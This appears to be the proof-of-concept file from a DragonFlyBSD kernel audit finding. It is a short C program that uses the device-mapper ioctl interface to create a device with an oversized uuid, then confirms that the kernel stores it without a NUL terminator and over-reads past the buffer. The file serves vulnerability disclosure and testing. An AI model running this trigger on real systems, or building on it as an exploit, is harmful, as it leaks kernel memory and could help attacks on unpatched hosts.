⬢ DragonFlyBSD Kernel Audit
DF-2445 / dm_uuid_nterm.c
← back to finding ↓ download raw
/* DF-2445: dm_dev_alloc uses strncpy(dmv->uuid, uuid, sizeof(dmv->uuid))
 * (dm_dev.c:367-368) without guaranteeing NUL termination.  DM_UUID_LEN is
 * 129; a prop-dictionary uuid of >=129 chars leaves dmv->uuid unterminated
 * and every later %s/strcmp consumer over-reads until an unrelated zero
 * byte (currently the struct padding before cdev_t devt).  Demonstrated by
 * creating a dm device with a 130-char uuid and reading the uuid back via
 * the status ioctl: it comes back 129 chars long -- one byte more than the
 * 128-char maximum a NUL-terminated store could ever return. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <libprop/plistref.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DEV_NAME "df2445uuid"

static int ctlfd = -1;

static prop_dictionary_t new_dm_dict(const char *command)
{
	prop_dictionary_t dict = prop_dictionary_create();
	prop_array_t ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int simple_cmd(const char *command)
{
	prop_dictionary_t dict = new_dm_dict(command);
	int rv;
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = prop_dictionary_send_ioctl(dict, ctlfd, NETBSD_DM_IOCTL);
	prop_object_release(dict);
	return rv;
}

int main(void)
{
	prop_dictionary_t dict;
	const char *got;
	char biguuid[140];
	int rv;

	ctlfd = open("/dev/mapper/control", O_RDWR);
	if (ctlfd < 0) {
		printf("[-] open /dev/mapper/control: %s (root + `kldload dm` required)\n",
		    strerror(errno));
		return 1;
	}

	simple_cmd("remove"); /* clean slate */

	/* 130-char uuid: one byte MORE than uuid[129] can hold NUL-terminated */
	memset(biguuid, 'u', sizeof(biguuid));
	biguuid[130] = 0;

	dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	prop_dictionary_set_cstring(dict, DM_IOCTL_UUID, biguuid);
	rv = prop_dictionary_send_ioctl(dict, ctlfd, NETBSD_DM_IOCTL);
	prop_object_release(dict);
	printf("[*] create with 130-char uuid: rv=%d (%s)\n", rv, strerror(rv));
	if (rv) return 1;

	/* read the uuid back via status (send+recv in one ioctl) */
	dict = new_dm_dict("info");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	{	prop_dictionary_t reply = NULL;
		rv = prop_dictionary_sendrecv_ioctl(dict, ctlfd,
						    NETBSD_DM_IOCTL, &reply);
		dict = reply ? reply : dict;
	}
	if (rv) { printf("[-] status: %s\n", strerror(rv)); prop_object_release(dict);
		simple_cmd("remove"); return 1; }
	if (!prop_dictionary_get_cstring_nocopy(dict, DM_IOCTL_UUID, &got))
		got = NULL;
	printf("[*] status returned uuid: %s\n", got ? "yes" : "NO");
	if (got) {
		size_t n = strlen(got);
		printf("[*] returned uuid length = %zu (max NUL-terminated capacity = 128)\n", n);
		printf("[%c] %s\n", n > 128 ? '+' : '-',
		    n > 128 ? "NON-TERMINATED STORE CONFIRMED (129 chars came back)" : "terminated");
	}
	prop_object_release(dict);
	simple_cmd("remove");
	close(ctlfd);
	return 0;
}